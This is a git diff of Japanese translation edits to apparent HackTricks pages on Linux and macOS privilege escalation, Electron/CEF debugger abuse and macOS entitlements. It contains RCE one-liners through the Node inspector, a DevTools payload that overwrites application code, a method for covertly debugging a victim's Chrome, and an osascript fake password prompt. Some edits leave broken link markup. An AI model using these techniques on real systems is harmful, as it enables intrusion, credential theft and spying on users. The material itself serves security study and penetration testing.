所属する[**グループのおかげで特権を昇格**](privilege-escalation/interesting-groups-linux-pe/index.html)できるか? +- [ ] **クリップボード**データはあるか? - [ ] パスワードポリシーは? -- [ ] **以前に発見したすべての既知のパスワードを使用して、各**可能な**ユーザー**でログインを試みる。パスワードなしでのログインも試みる。 +- [ ] 以前に発見した**すべての既知のパスワードを使用して、各**可能な**ユーザーでログインを試みる。パスワードなしでもログインを試みる。 ### [書き込み可能なPATH](privilege-escalation/index.html#writable-path-abuses) -- [ ] **PATH内のいくつかのフォルダに書き込み権限がある場合、特権を昇格できる可能性がある** +- [ ] **PATH内のいくつかのフォルダに書き込み権限がある場合**、特権を昇格できる可能性がある ### [SUDOおよびSUIDコマンド](privilege-escalation/index.html#sudo-and-suid) - [ ] **sudoで任意のコマンドを実行**できるか?それを使用して、rootとして何かを**読み取り、書き込み、または実行**できるか? ([**GTFOBins**](https://gtfobins.github.io)) - [ ] **エクスプロイト可能なSUIDバイナリ**はあるか? ([**GTFOBins**](https://gtfobins.github.io)) -- [ ] [**sudoコマンドが**パスによって**制限されている**か?制限を**バイパス**できるか](privilege-escalation/index.html#sudo-execution-bypassing-paths)? +- [ ] [**sudo**コマンドが**パスによって制限されている**か?制限を**バイパス**できるか](privilege-escalation/index.html#sudo-execution-bypassing-paths)? - [ ] [**パスが示されていないSudo/SUIDバイナリ**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)はあるか? -- [ ] [**パスを指定したSUIDバイナリ**](privilege-escalation/index.html#suid-binary-with-command-path)は?バイパス +- [ ] [**パスを指定したSUIDバイナリ**](privilege-escalation/index.html#suid-binary-with-command-path)は? バイパス - [ ] [**LD_PRELOAD脆弱性**](privilege-escalation/index.html#ld_preload) -- [ ] **書き込み可能なフォルダからのSUIDバイナリにおける**[**.soライブラリの欠如**](privilege-escalation/index.html#suid-binary-so-injection)は? -- [ ] [**利用可能なSUDOトークン**](privilege-escalation/index.html#reusing-sudo-tokens)は? [**SUDOトークンを作成できるか**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)? -- [ ] [**sudoersファイルを読み取るまたは変更する**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)ことができるか? +- [ ] **書き込み可能なフォルダからのSUIDバイナリにおける.soライブラリの欠如**はあるか?](privilege-escalation/index.html#suid-binary-so-injection) +- [ ] [**利用可能なSUDOトークン**](privilege-escalation/index.html#reusing-sudo-tokens)はあるか? [**SUDOトークンを作成できるか**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)? +- [ ] [**sudoersファイルを読み取るまたは変更することができるか**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)? - [ ] [**/etc/ld.so.conf.d/**を**変更できるか**](privilege-escalation/index.html#etc-ld-so-conf-d)? - [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas)コマンド @@ -117,7 +117,7 @@ - [ ] **プロファイルファイル** - 機密データを読み取る?特権昇格のために書き込む? - [ ] **passwd/shadowファイル** - 機密データを読み取る?特権昇格のために書き込む? -- [ ] 機密データのために**一般的に興味深いフォルダ**を確認 +- [ ] 機密データのために**一般的に興味深いフォルダを確認** - [ ] **奇妙な場所/所有ファイル、**アクセスまたは実行可能ファイルを変更できるかもしれない - [ ] **最近数分で変更された** - [ ] **Sqlite DBファイル** @@ -131,13 +131,13 @@ ### [**書き込み可能なファイル**](privilege-escalation/index.html#writable-files) - [ ] **任意のコマンドを実行するためにpythonライブラリを変更**できるか? -- [ ] **ログファイルを変更**できるか? **Logtotten**エクスプロイト -- [ ] **/etc/sysconfig/network-scripts/**を**変更**できるか? Centos/Redhatエクスプロイト -- [ ] [**ini、int.d、systemdまたはrc.dファイルに書き込む**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)ことができるか? +- [ ] **ログファイルを変更できるか?** **Logtotten**エクスプロイト +- [ ] **/etc/sysconfig/network-scripts/**を**変更できるか?** Centos/Redhatエクスプロイト +- [ ] [**ini、int.d、systemdまたはrc.dファイルに書き込むことができるか**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)? ### [**その他のトリック**](privilege-escalation/index.html#other-tricks) -- [ ] [**NFSを悪用して特権を昇格**](privilege-escalation/index.html#nfs-privilege-escalation)できるか? -- [ ] **制限されたシェルから脱出する必要があるか**? +- [ ] [**NFSを悪用して特権を昇格できるか**](privilege-escalation/index.html#nfs-privilege-escalation)? +- [ ] **制限されたシェルから脱出する必要があるか**](privilege-escalation/index.html#escaping-from-restricted-shells)? {{#include ../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index 971daa7a8..a981d40ce 100644 --- a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -27,7 +27,7 @@ node --inspect --inspect-port=0 app.js #Will run the inspector in a random port Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` -プロセスは、**CEF**(**Chromium Embedded Framework**)に基づいており、**デバッガ**を開くためにパラメータ `--remote-debugging-port=9222` を使用する必要があります(SSRF保護は非常に似ています)。しかし、**NodeJS** **デバッグ**セッションを付与する代わりに、[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を使用してブラウザと通信します。これはブラウザを制御するためのインターフェースですが、直接的なRCEはありません。 +プロセスは、**CEF**(**Chromium Embedded Framework**)に基づいており、**デバッガ**を開くためにパラメータ `--remote-debugging-port=9222` を使用する必要があります(SSRF保護は非常に似ています)。しかし、**NodeJS** **デバッグ**セッションを付与する代わりに、ブラウザと[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を使用して通信します。これはブラウザを制御するためのインターフェースですが、直接的なRCEはありません。 デバッグされたブラウザを起動すると、次のようなものが表示されます: ``` @@ -35,24 +35,24 @@ DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4 ``` ### ブラウザ、WebSocket、および同一生成元ポリシー -ウェブブラウザで開かれたウェブサイトは、ブラウザのセキュリティモデルの下でWebSocketおよびHTTPリクエストを行うことができます。**ユニークなデバッガセッションIDを取得するためには、初期HTTP接続が必要です**。**同一生成元ポリシー**は、ウェブサイトが**このHTTP接続**を行うことを**防ぎます**。**DNSリバインディング攻撃**に対する追加のセキュリティとして、Node.jsは接続の**'Host'ヘッダー**が**IPアドレス**または**`localhost`**または**`localhost6`**を正確に指定していることを確認します。 +ウェブブラウザで開かれたウェブサイトは、ブラウザのセキュリティモデルの下でWebSocketおよびHTTPリクエストを行うことができます。**初期HTTP接続**は、**ユニークなデバッガセッションIDを取得するため**に必要です。**同一生成元ポリシー**は、ウェブサイトが**このHTTP接続**を行うことを**防ぎます**。 [**DNSリバインディング攻撃**](https://en.wikipedia.org/wiki/DNS_rebinding)**に対する追加のセキュリティ**として、Node.jsは接続の**'Host'ヘッダー**が**IPアドレス**または**`localhost`**または**`localhost6`**を正確に指定していることを確認します。 > [!NOTE] -> この**セキュリティ対策は、インスペクタを悪用してコードを実行することを防ぎます**。**単にHTTPリクエストを送信することで**(これはSSRF脆弱性を悪用して行うことができたかもしれません)。 +> この**セキュリティ対策は、インスペクタを悪用してコードを実行することを防ぎます**。**単にHTTPリクエストを送信することによって**(これはSSRF脆弱性を悪用して行うことができる)。 ### 実行中のプロセスでインスペクタを開始する -実行中のnodejsプロセスに**SIGUSR1信号**を送信することで、**デフォルトポートでインスペクタを開始させる**ことができます。ただし、十分な権限が必要であるため、これにより**プロセス内の情報への特権アクセスが得られる可能性がありますが、直接的な特権昇格はありません**。 +実行中のnodejsプロセスに**SIGUSR1信号**を送信することで、**デフォルトポートでインスペクタを開始**させることができます。ただし、十分な特権が必要であるため、これにより**プロセス内の情報への特権アクセスが付与される可能性があります**が、直接的な特権昇格はありません。 ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` > [!NOTE] -> これはコンテナ内で便利です。なぜなら、`--inspect`で**プロセスをシャットダウンして新しいプロセスを開始する**ことは**選択肢ではない**からです。**コンテナ**はプロセスと共に**終了**します。 +> これはコンテナ内で便利です。なぜなら、`--inspect`で**プロセスをシャットダウンして新しいものを開始する**ことは**選択肢ではない**からです。**コンテナ**はプロセスと共に**終了**します。 ### インスペクタ/デバッガに接続する -**Chromiumベースのブラウザ**に接続するには、ChromeまたはEdgeそれぞれのために`chrome://inspect`または`edge://inspect`のURLにアクセスできます。Configureボタンをクリックして、**ターゲットホストとポート**が正しくリストされていることを確認する必要があります。画像はリモートコード実行(RCE)の例を示しています: +**Chromiumベースのブラウザ**に接続するには、ChromeまたはEdgeのそれぞれに対して`chrome://inspect`または`edge://inspect`のURLにアクセスできます。Configureボタンをクリックして、**ターゲットホストとポート**が正しくリストされていることを確認する必要があります。画像はリモートコード実行(RCE)の例を示しています: ![](<../../images/image (674).png>) @@ -63,7 +63,7 @@ node inspect 127.0.0.1:9229 # RCE example from debug console debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") ``` -ツール [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) は、**ローカルで実行されているインスペクターを見つけ**、**コードを注入する**ことを可能にします。 +ツール [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) は、**ローカルで実行されているインスペクタを見つけ**、**コードを注入する**ことを可能にします。 ```bash #List possible vulnerable sockets ./cefdebug.exe @@ -73,14 +73,14 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ``` > [!NOTE] -> **NodeJS RCEの脆弱性は、[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を介してブラウザに接続されている場合は機能しない**ことに注意してください(APIを確認して、興味深いことをする方法を見つける必要があります)。 +> **NodeJS RCEの脆弱性は、[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を介してブラウザに接続されている場合は機能しません**(APIを確認して、興味深いことを見つける必要があります)。 ## NodeJSデバッガー/インスペクターにおけるRCE > [!NOTE] -> [**ElectronのXSSからRCEを取得する方法を探している場合は、このページを確認してください。**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) +> [**ElectronのXSSからRCEを取得する方法を探している場合は、このページを確認してください。**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html) -Node **インスペクター**に**接続**できるときに**RCE**を取得する一般的な方法のいくつかは、(これは**Chrome DevToolsプロトコルへの接続では機能しないようです**)を使用することです: +Node **インスペクター**に接続できる場合に**RCE**を取得する一般的な方法のいくつかは、次のようなものを使用することです(これは**Chrome DevToolsプロトコルへの接続では機能しないようです**): ```javascript process.mainModule.require("child_process").exec("calc") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") @@ -90,13 +90,13 @@ Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" })) ## Chrome DevTools Protocol Payloads APIはここで確認できます: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ -このセクションでは、私が人々がこのプロトコルを悪用するために使用した興味深いことをリストします。 +このセクションでは、プロトコルを悪用するために人々が使用した興味深いことをリストします。 ### Deep Linksによるパラメータインジェクション -[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)で、RhinoセキュリティはCEFに基づくアプリケーションがシステムにカスタムURI(workspaces://)を登録し、完全なURIを受け取り、そのURIから部分的に構成された設定でCEFベースのアプリケーションを起動することを発見しました。 +[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)で、RhinoセキュリティはCEFに基づくアプリケーションがシステムにカスタムURI(workspaces://index.html)を登録し、完全なURIを受け取り、そのURIから部分的に構成された設定でCEFベースのアプリケーションを起動することを発見しました。 -URIパラメータはURLデコードされ、CEF基本アプリケーションを起動するために使用され、ユーザーが**`--gpu-launcher`**フラグを**コマンドライン**に**インジェクト**し、任意のものを実行できることが判明しました。 +URIパラメータはURLデコードされ、CEF基本アプリケーションを起動するために使用され、ユーザーが**`--gpu-launcher`**フラグを**コマンドライン**に注入し、任意のものを実行できることが判明しました。 したがって、ペイロードは次のようになります: ``` @@ -106,7 +106,7 @@ calc.exeを実行します。 ### ファイルの上書き -**ダウンロードしたファイルが保存されるフォルダ**を変更し、アプリケーションの**ソースコード**を**悪意のあるコード**で**上書き**するためにファイルをダウンロードします。 +**ダウンロードしたファイルが保存されるフォルダー**を変更し、アプリケーションの**ソースコード**を**悪意のあるコード**で**上書き**するためにファイルをダウンロードします。 ```javascript ws = new WebSocket(url) //URL of the chrome devtools service ws.send( @@ -128,7 +128,7 @@ downloadPath: "/code/", 実際の環境で、**ユーザーのPCを侵害した後**、Chrome/Chromiumベースのブラウザを使用している場合、**デバッグを有効にしてデバッグポートをポートフォワード**したChromeプロセスを起動することができます。これにより、**被害者がChromeで行うすべてを検査し、機密情報を盗むことができます**。 -ステルスな方法は、**すべてのChromeプロセスを終了**させてから、次のようなものを呼び出すことです。 +ステルスな方法は、**すべてのChromeプロセスを終了させ**、その後何かを呼び出すことです。 ```bash Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 5575ed6be..b1af7315f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -93,13 +93,13 @@ macOSでは、**アプリケーションやバイナリが**フォルダや設 したがって、macOSマシンを成功裏に侵害したい攻撃者は、**TCC権限を昇格させる**必要があります(または、ニーズに応じて**SIPをバイパスする**必要があります)。 -これらの権限は通常、アプリケーションが署名されている**権利**の形で与えられるか、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認した後**に**TCCデータベース**に見つけることができます。プロセスがこれらの権限を取得する別の方法は、**その権限を持つプロセスの子**であることです。これらの権限は通常**継承されます**。 +これらの権限は通常、アプリケーションが署名されている**権利**の形で与えられるか、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認した後**に**TCCデータベース**に見つけることができます。プロセスがこれらの権限を取得する別の方法は、**その権限を持つプロセスの子プロセス**であることです。これらの権限は通常**継承されます**。 -これらのリンクをたどって、TCCでの[**権限昇格の異なる方法**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses)、[**TCCをバイパスする方法**](macos-security-protections/macos-tcc/macos-tcc-bypasses/)や、過去に[**SIPがバイパスされた方法**](macos-security-protections/macos-sip.md#sip-bypasses)を見つけてください。 +これらのリンクをたどって、TCCでの[**権限昇格の異なる方法**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses)、[**TCCをバイパスする方法**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html)、および過去に[**SIPがバイパスされた方法**](macos-security-protections/macos-sip.md#sip-bypasses)を見つけてください。 ## macOS 伝統的権限昇格 -もちろん、レッドチームの視点からは、rootに昇格することにも興味があるはずです。以下の投稿をチェックして、いくつかのヒントを得てください: +もちろん、レッドチームの視点からは、rootに昇格することにも興味があるべきです。以下の投稿をチェックして、いくつかのヒントを得てください: {{#ref}} macos-privilege-escalation.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index 317e0e0d5..0ae39a4cf 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -17,15 +17,15 @@ ### **`com.apple.system-task-ports` (以前は `task_for_pid-allow` と呼ばれていました)** -この権限は、カーネルを除く **任意の** プロセスの **タスクポートを取得** することを許可します。詳細は [**こちらを確認してください**](../macos-proces-abuse/macos-ipc-inter-process-communication/)。 +この権限は、カーネルを除く **任意の** プロセスの **タスクポートを取得** することを許可します。詳細は [**こちらを確認してください**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)。 ### `com.apple.security.get-task-allow` -この権限は、**`com.apple.security.cs.debugger`** 権限を持つ他のプロセスが、この権限を持つバイナリによって実行されるプロセスのタスクポートを取得し、**コードを注入する** ことを許可します。詳細は [**こちらを確認してください**](../macos-proces-abuse/macos-ipc-inter-process-communication/)。 +この権限は、**`com.apple.security.cs.debugger`** 権限を持つ他のプロセスが、この権限を持つバイナリによって実行されるプロセスのタスクポートを取得し、**コードを注入する** ことを許可します。詳細は [**こちらを確認してください**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)。 ### `com.apple.security.cs.debugger` -デバッグツール権限を持つアプリは、`task_for_pid()` を呼び出して、`Get Task Allow` 権限が `true` に設定された署名されていないアプリや第三者アプリの有効なタスクポートを取得できます。しかし、デバッグツール権限があっても、デバッガは **`Get Task Allow` 権限を持たない** プロセスのタスクポートを取得できず、それらはシステム整合性保護によって保護されています。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)。 +デバッグツール権限を持つアプリは、`task_for_pid()` を呼び出して、`Get Task Allow` 権限が `true` に設定された署名されていないおよび第三者のアプリの有効なタスクポートを取得できます。しかし、デバッグツール権限があっても、デバッガは **`Get Task Allow` 権限を持たない** プロセスのタスクポートを取得できず、それらはシステム整合性保護によって保護されています。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)。 ### `com.apple.security.cs.disable-library-validation` @@ -33,20 +33,20 @@ ### `com.apple.private.security.clear-library-validation` -この権限は **`com.apple.security.cs.disable-library-validation`** と非常に似ていますが、**ライブラリ検証を直接無効にするのではなく**、プロセスが **`csops` システムコールを呼び出して無効にする** ことを許可します。\ +この権限は **`com.apple.security.cs.disable-library-validation`** と非常に似ていますが、**ライブラリ検証を直接無効にするのではなく、プロセスが `csops` システムコールを呼び出して無効にすることを許可します**。\ 詳細は [**こちらを確認してください**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。 ### `com.apple.security.cs.allow-dyld-environment-variables` -この権限は、**DYLD環境変数を使用する** ことを許可し、これによりライブラリやコードを注入することができます。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)。 +この権限は、**ライブラリやコードを注入するために使用される可能性のあるDYLD環境変数を使用する** ことを許可します。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)。 ### `com.apple.private.tcc.manager` または `com.apple.rootless.storage`.`TCC` -[**このブログによると**](https://objective-see.org/blog/blog_0x4C.html) **および** [**このブログによると**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)、これらの権限は **TCC** データベースを **変更** することを許可します。 +[**このブログによると**](https://objective-see.org/blog/blog_0x4C.html) **および** [**このブログによると**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)、これらの権限は **TCC** データベースを **変更する** ことを許可します。 ### **`system.install.apple-software`** および **`system.install.apple-software.standar-user`** -これらの権限は、ユーザーに許可を求めることなく **ソフトウェアをインストールする** ことを許可し、**特権昇格** に役立つ可能性があります。 +これらの権限は、ユーザーに許可を求めることなく **ソフトウェアをインストールする** ことを許可します。これは **特権昇格** に役立つ可能性があります。 ### `com.apple.private.security.kext-management` @@ -62,7 +62,7 @@ ### `com.apple.private.tcc.manager.check-by-audit-token` -TODO: これが何を許可するのかはわかりません +TODO: これが何を許可するのかはわかりません。 ### `com.apple.private.apfs.revert-to-snapshot` @@ -87,21 +87,21 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O ``` ### **`kTCCServiceSystemPolicyAllFiles`** -**フルディスクアクセス** 権限を付与します。これは、持つことができる TCC の最高権限の一つです。 +**フルディスクアクセス**権限を付与します。これは、TCCの中で最も高い権限の一つです。 ### **`kTCCServiceAppleEvents`** -アプリが一般的に **タスクを自動化** するために他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。 +アプリが一般的に**タスクを自動化**するために他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。 例えば、ユーザーにパスワードを要求させることができます: ```bash osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"' ``` -または、**任意のアクション**を実行させること。 +Or making them perform **任意のアクション**。 ### **`kTCCServiceEndpointSecurityClient`** -他の権限の中で、**ユーザーのTCCデータベースに書き込む**ことを許可します。 +ユーザーのTCCデータベースを**書き込む**ことを含む、他の権限を許可します。 ### **`kTCCServiceSystemPolicySysAdminFiles`** @@ -113,11 +113,11 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
-このアクセス権を持つユーザーを確認するには、_システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_に移動します。 +このアクセス権を持つユーザーを確認するには、_システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_を確認してください。 ### `kTCCServiceAccessibility` -プロセスは**macOSのアクセシビリティ機能を悪用する**ことができ、例えばキー入力を押すことができるようになります。したがって、Finderのようなアプリを制御するためのアクセスを要求し、この権限でダイアログを承認することができます。 +プロセスは**macOSのアクセシビリティ機能を悪用する**ことができ、例えばキーストロークを押すことができるようになります。したがって、Finderのようなアプリを制御するためのアクセスを要求し、この権限でダイアログを承認することができます。 ## 中程度 @@ -156,8 +156,10 @@ TODO [Array] [String] kTCCServiceAll ``` -プロセスに**すべてのTCC権限を要求させる**。 +プロセスに**すべてのTCC権限を要求させる**ことを許可します。 ### **`kTCCServicePostEvent`** {{#include ../../../banners/hacktricks-training.md}} + + diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index 7ac280136..25de6625c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -2,19 +2,19 @@ {{#include ../../../../banners/hacktricks-training.md}} -## POSIX 権限の組み合わせ +## POSIX permissions combinations -**ディレクトリ**の権限: +**ディレクトリ**の権限: -- **読み取り** - ディレクトリエントリを**列挙**できます -- **書き込み** - ディレクトリ内の**ファイル**を**削除/作成**でき、**空のフォルダ**を**削除**できます。 -- しかし、**書き込み権限**がない限り、**非空のフォルダ**を削除/変更することはできません。 -- フォルダの名前を**変更**することは、そのフォルダを所有していない限りできません。 -- **実行** - ディレクトリを**横断**することが許可されています。この権利がないと、その中のファイルやサブディレクトリにアクセスできません。 +- **read** - ディレクトリエントリを**列挙**できます +- **write** - ディレクトリ内の**ファイル**を**削除/作成**でき、**空のフォルダ**を**削除**できます。 +- ただし、**書き込み権限**がない限り、**非空のフォルダ**を削除/変更することはできません。 +- **フォルダの名前を変更**することは、そのフォルダを所有していない限りできません。 +- **execute** - ディレクトリを**横断することが許可**されています。この権利がないと、その中のファイルやサブディレクトリにアクセスできません。 -### 危険な組み合わせ +### Dangerous Combinations -**rootが所有するファイル/フォルダを上書きする方法**ですが: +**rootが所有するファイル/フォルダを上書きする方法**ですが: - パス内の親**ディレクトリの所有者**がユーザーである - パス内の親**ディレクトリの所有者**が**書き込みアクセス**を持つ**ユーザーグループ**である @@ -22,23 +22,23 @@ これらの組み合わせのいずれかを使用すると、攻撃者は**特権のある任意の書き込み**を取得するために、期待されるパスに**シンボリック/ハードリンク**を**注入**することができます。 -### フォルダのルート R+X 特殊ケース +### Folder root R+X Special case -**ディレクトリ**内に**rootのみがR+Xアクセス**を持つファイルがある場合、それらは**他の誰にもアクセスできません**。したがって、**制限**のためにユーザーが読み取れない**ファイルを**このフォルダから**別のフォルダに移動**できる脆弱性は、これらのファイルを読み取るために悪用される可能性があります。 +**rootのみがR+Xアクセスを持つ**ディレクトリ内にファイルがある場合、それらは**他の誰にもアクセスできません**。したがって、**制限**のためにユーザーが読み取れない**ファイルを**このフォルダから**別のフォルダに移動**できる脆弱性は、これらのファイルを読むために悪用される可能性があります。 例: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) -## シンボリックリンク / ハードリンク +## Symbolic Link / Hard Link -### 寛容なファイル/フォルダ +### Permissive file/folder -特権プロセスが**低特権ユーザー**によって**制御される**可能性のある**ファイル**にデータを書き込んでいる場合、または低特権ユーザーによって**以前に作成された**可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して**別のファイル**を**指し示す**ことができ、特権プロセスはそのファイルに書き込みます。 +特権プロセスが**低特権ユーザー**によって**制御される**可能性のある**ファイル**にデータを書き込んでいる場合、または低特権ユーザーによって**以前に作成された**可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して**別のファイルを指す**ことができ、特権プロセスはそのファイルに書き込みます。 攻撃者が**特権を昇格させるために任意の書き込みを悪用できる**他のセクションを確認してください。 -### オープン `O_NOFOLLOW` +### Open `O_NOFOLLOW` -`open`関数で使用されるフラグ`O_NOFOLLOW`は、最後のパスコンポーネントでシンボリックリンクを追跡しませんが、パスの残りの部分は追跡します。パス内のシンボリックリンクを追跡しないようにする正しい方法は、フラグ`O_NOFOLLOW_ANY`を使用することです。 +関数`open`で使用されるフラグ`O_NOFOLLOW`は、最後のパスコンポーネントでシンボリックリンクを追跡しませんが、パスの残りの部分は追跡します。パス内のシンボリックリンクを追跡しない正しい方法は、フラグ`O_NOFOLLOW_ANY`を使用することです。 ## .fileloc @@ -58,17 +58,17 @@ ``` ## ファイルディスクリプタ -### リークFD(`O_CLOEXEC`なし) +### FDの漏洩(`O_CLOEXEC`なし) -`open`への呼び出しにフラグ`O_CLOEXEC`がない場合、ファイルディスクリプタは子プロセスによって継承されます。したがって、特権プロセスが特権ファイルを開き、攻撃者が制御するプロセスを実行すると、攻撃者は**特権ファイルに対するFDを継承します**。 +`open`への呼び出しに`O_CLOEXEC`フラグがない場合、ファイルディスクリプタは子プロセスによって継承されます。したがって、特権プロセスが特権ファイルを開き、攻撃者が制御するプロセスを実行すると、攻撃者は**特権ファイルに対するFDを継承します**。 -**高い特権でファイルまたはフォルダを開くプロセスを作成できる場合**、**`crontab`**を悪用して、`EDITOR=exploit.py`で`/etc/sudoers.d`内のファイルを開くことができます。これにより、`exploit.py`は`/etc/sudoers`内のファイルへのFDを取得し、それを悪用します。 +**高い特権でファイルまたはフォルダを開くプロセスを作成できる場合**、**`crontab`**を悪用して、**`EDITOR=exploit.py`**で`/etc/sudoers.d`内のファイルを開くことができます。これにより、`exploit.py`は`/etc/sudoers`内のファイルへのFDを取得し、それを悪用します。 例えば: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)、コード: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging ## 検疫xattrsトリックを避ける -### 削除する +### それを削除する ```bash xattr -d com.apple.quarantine /path/to/file_or_app ``` @@ -120,11 +120,11 @@ ls -le /tmp/test ``` ### **com.apple.acl.text xattr + AppleDouble** -**AppleDouble**ファイル形式は、ファイルとそのACEをコピーします。 +**AppleDouble**ファイル形式は、ファイルとそのACEを含むコピーを作成します。 -[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)を見ると、xattrの中に保存されているACLのテキスト表現である**`com.apple.acl.text`**が、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした。 +[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)を見ると、xattrの中に保存されているACLのテキスト表現である**`com.apple.acl.text`**が、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした: -詳細については、[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を確認してください。 +詳細については[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を確認してください。 これを再現するには、まず正しいacl文字列を取得する必要があります: ```bash @@ -156,11 +156,11 @@ macos-xattr-acls-extra-stuff.md ### プラットフォームバイナリチェックのバイパス -一部のセキュリティチェックは、バイナリが**プラットフォームバイナリ**であるかどうかを確認します。たとえば、XPCサービスに接続することを許可するためです。しかし、https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/で示されているように、プラットフォームバイナリ(/bin/lsなど)を取得し、環境変数`DYLD_INSERT_LIBRARIES`を使用してdyld経由でエクスプロイトを注入することで、このチェックをバイパスすることが可能です。 